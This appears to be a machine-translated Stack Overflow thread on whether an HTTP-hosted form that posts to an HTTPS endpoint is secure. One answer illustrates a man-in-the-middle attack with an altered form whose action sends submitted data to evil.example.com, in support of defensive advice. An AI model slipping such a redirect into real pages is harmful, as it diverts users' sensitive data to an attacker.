2015-08-08 50 views
0

我有一个网站,http://foo.com。我有另一个网站,https://bar.com。如果我从非安全foo.com向安全bar.com提交表单,交易是否加密?表单是否提交了跨域安全?

例子:

http://foo.com/form.html 

<form action="https://bar.com/process.php" method="post"> 
...inputs, validation, and form happiness... 
</form> 

我的使用情况是通过电子邮件发送给可能包含敏感信息需要被提交到我们的网站(具有SSL)用户的形式。该表单将是一个附件,例如将从桌面打开并填写完毕,然后提交给我们的服务器。有没有加密通信的方法?

我发现了两个潜在的相关问题,这给相互矛盾的答案:

  1. Secure Cross Domain Form Submission

    [是的,它是安全的,但]不是固有的安全性。主机上的SSL不相关,第三方服务器上的SSL是。但是,您必须将帖子设置为“https:// ...”而不仅仅是“http://”,它不足以让它成为“安全服务器”,您必须安全地调用它。

  2. Securing Forms submitting to a diffrent domain

    一个简单的方法是使用HTTPS和,但只要双方能HTTPS那。他们还必须拥有SSL证书。

回答

1

由于形式将被张贴到安全服务器https://bar.com/process.php,数据将与请求一起被加密。在另一方面,它不会是安全的,即使形式已被托管在一个安全的https://bar.com/form.html但已张贴到非安全http://foo.com/process.html

下面是一篇关于Mozilla开发者网络“发送表单数据”摘录

注意:可以指定使用HTTPS(安全HTTP) 协议的URL。当您这样做时,即使表单本身托管在使用HTTP访问的不安全页面上,数据也会与请求的其余部分 一起加密。另一方面,如果表单托管在 安全页面上,但您指定的行为为 属性的不安全HTTP URL,则所有浏览器都会向用户显示一个安全警告,因为它们会尝试发送数据,因为数据不会加密。 ref:Sending form data: MDN Article

+0

非常好。感谢MDN文章! – Josiah

1

是的,它被加密。不,它不安全。

原因是用户无法确保表单是安全的。一个人在这方面的中间人可能截获http://foo.com响应,并改变了形式:

<form action="https://evil.example.com/process.php" method="post"> 
...inputs, validation, and form happiness... 
</form> 

和用户将是毫无收获,他们直到那匹马逃跑后发送不安全的数据。evil.example.com可能会重定向回https://bar.com以减少检测机会。底线:始终将敏感表单放在HTTPS页面上。这向用户保证他们提交的数据在传输过程中将是安全的。

+0

这是否意味着如果我在HTTPS站点上有表单并且我的处理页面(也是HTTPS)位于完全不同的域上,那么数据是安全的? 例如:https://example.com有一个表单,其action =“https://processingpage.com”是否存在从表单发送的数据的风​​险? 它可以被拦截吗?它是否需要加密? –